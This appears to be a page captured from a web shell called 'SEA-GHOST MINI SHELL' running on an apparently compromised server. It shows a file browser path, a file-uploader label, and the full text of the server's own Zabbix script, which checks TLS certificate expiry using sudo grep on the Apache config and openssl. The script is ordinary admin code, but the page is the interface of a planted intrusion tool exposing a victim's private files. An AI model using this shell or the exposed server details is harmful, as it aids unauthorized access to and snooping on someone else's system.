[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/root/var/lib/zabbix/cpanel_dreamwp_check.sh

#!/bin/bash

currentDate="$(date +"%s")"
dreamwp_hostname="$(sudo grep mydbadmin -B 2 /etc/apache2/conf/httpd.conf | grep ServerName | head -n1 | awk '{print $2}')"
cert_info="$(echo | openssl s_client -servername $dreamwp_hostname -connect $dreamwp_hostname:443 2>/dev/null | openssl x509 -noout -text)"
endDate="$(date -d "$(echo "$cert_info" | grep "Not After :" | sed 's/.*Not After : //')" +"%s")"
ends_in="$((($endDate - $currentDate) / 86400))"
echo $ends_in


SEA-GHOST - SHELL CODING BY SEA-GHOST